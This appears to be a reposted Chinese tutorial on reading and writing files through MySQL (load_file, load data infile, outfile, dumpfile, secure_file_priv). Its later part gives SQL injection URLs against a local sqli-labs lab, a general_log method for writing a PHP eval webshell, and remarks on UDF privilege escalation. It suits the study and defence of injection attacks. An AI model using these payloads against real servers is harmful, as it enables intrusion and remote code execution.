赞
踩
MySQL在不同版本读写文件方法大致有这几个:
1.load_file()
2.load data infile()
3.system cat
4.outfile
5.dumpfile
load_file()和load data infile读取文件的方法为:新建一个表,将读取文件以字符串形式插入表中,然后读出表中数据。load_file()也可以直接使用select load_file('文件路径')
1.secure_file_priv值允许对该路径下的文件进行操作
2.数据库用户(mysql的属主)对文件有读权限
3.当前数据库登录用户拥有file权限
查看方法:mysql> show grants for 用户名@localhost;
4.知道文件的完整路径
5.文件大小小于max_allowed_packet(load_file()函数受到这个值的限制)
查看方法:mysql> show global variables like 'max_allowed%';
修改方法:mysql> set global max_allowed_packet = 5\*1024\*1024;
1.secure_file_priv值允许对该路径下的文件进行操作
2.数据库用户(mysql的属主)对文件有写权限
3.当前数据库登录用户拥有file权限
4.知道文件的完整路径
一、secure_file_priv
值为NULL,表示禁止文件的导入与导出
值为某一目录,表示只能对该目录下的文件导入与导出
值为空,表示不对文件的读写进行限制
secure_file_priv值的查询语句:
mysql>show global variables like "secure_file_priv";
mysql>show global variables like "secure%";
在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL,可以通过以下方式修改:
修改my.ini或my.cnf文件,在[mysqld]下添加条目secure_file_priv =
,保存后重启mysql:systemctl restart mysql.service
二、load_file()
首先在/tmp目录下创建一个文档
运行mysql,sql命令如下:
create table user(cmd text);
insert into user(cmd) values (load_file('/tmp/1.txt'));
select * from user;
select load_file('/tmp/1.txt');
这里不知道为什么是NULL,在其他满足条件的目录中尝试成功如下:
在/usr目录下创建一个文档
运行mysql,sql命令如下:
select load_file('/usr/1.txt');
三、load data infile
运行mysql,sql命令如下:
load data infile '/tmp/1.txt' into table user;
不知道为什么对于/tmp的尝试都失败了,但对于其他满足要求的目录尝试都能成功,这里不再举例。
三、load data local infile
如果指定local关键词,则表明从客户主机读文件:
如果没指定local,则文件必须位于服务器上:
使用local需要设置local_infile开启,该变量默认为ON。
客户端设置local_infile可以在client中使用以下命令:
mysql> SET GLOBAL local_infile = true;
mysql> SHOW GLOBAL VARIABLES LIKE 'local_infile';
也可以修改my.ini或my.cnf文件,在[mysqld]下添加条目local_infile = 1
load data local infile '/tmp/1.txt' into table user;
四、system cat
在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件。
system cat /tmp/1.txt;
注意:
1.此方法只能在本地读取,远程连接mysql时无法使用system。
2.无法越权读取。
五、select … into outfile/dumpfile …
select 'lyz' into outfile '/tmp/lyz.txt';
select '123' into dumfile '/usr/local/mysql/1.txt';
system cat 'usr/local/mysql/1.txt';
exit;
find / -name lyz.txt
使用system执行系统命令和load data infile语句加local选项绕过限制。
system执行系统命令适用版本为5.x。
此方法只能在本地读取,远程连接mysql时无法使用system。
无法越权读取。
使用load data local infile语句从客户主机读取文件。
1.查询secure_file_priv值:
2.system读写文件:(强调一下system执行系统命令!)
3.load data local infile需要将读取的文件存储在数据表中:
一、基于联合查询法的写入方法
1.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23
2.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<?php phpinfo() ?>’ into dumpfile ‘G:/2.txt’ %23
二、基于非联合查询法的写入方法
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23
三、基于log日志的写入方法
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复:
show variables like ‘%general%’;
开启日志监测:(一般是关闭的,如果一直开,文档会很大的。)
set global general_log = on;
设置我们需要写入的路径:
set global general_log_file = ‘G:/2.txt’;
查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)
select ‘<?php eval($_POST[‘shiyan’]);?>’;
结束后,再修改为原来的路径:
set global general_log_file = ‘原来的路径’;
关闭日志记录:
set global general_log = off;
摘自:outfile、dumpfile、load_file函数详解
我们本次的测试数据如下:
一、导出数据库场景下的差异
1.select …… into outfile
我们先来看一下mysql官方文档里对于这两个函数的解释。
其中有两个值得注意的坑点:
outfile函数可以导出多行数据,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
接下我们来通过导出测试看看这里面的细节。
首先通过命令select * from test into outfile '/tmp/test.txt'
使用outfile进行导出
可以看到/tmp/test.txt
文件中保存了所有的数据并且在一行数据的末尾自动换行。
查看官方文档,使用如下参数可以进行格式调整:
其中 FIELDS ESCAPED BY
可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY
用来对字段值进行包裹,FIELDS TERMINATED BY
用来对字段值之间进行分割。
例如使用如下命令: select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
得到的导出文件如下:
2.select …… into dumpfile
接着使用命令select * from test into dumpfile '/tmp/test.txt'
来使用dumpfile进行导出。
可以看到此命令在执行的时候提示输出超过一行。
查看文件内容
可以看到通过dumpfile导出的数据并未进行换行且只导出了部分数据。
二、写入webshell或者udf下的差异
我们使用命令select 'a\naa\raaaa' into outfile '/tmp/test.txt'
来看一下在常用的写文件场景下的结果。
可以看到outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行。
我们接着使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt'
来看一下。
可以看到dumpfile对文件内容是原样写入,未做任何转义和增加。这也就是为什么我们在平常的UDF提权中使用dumpfile进行dll文件写入的原因。
还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中十分麻烦,因为会自动将单引号转义成 \’ 。然而load_file后面的路径既可以是单引号,也可以是0x、char转换的字符,但是路径中的斜杠是 / 而不是 \ 。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。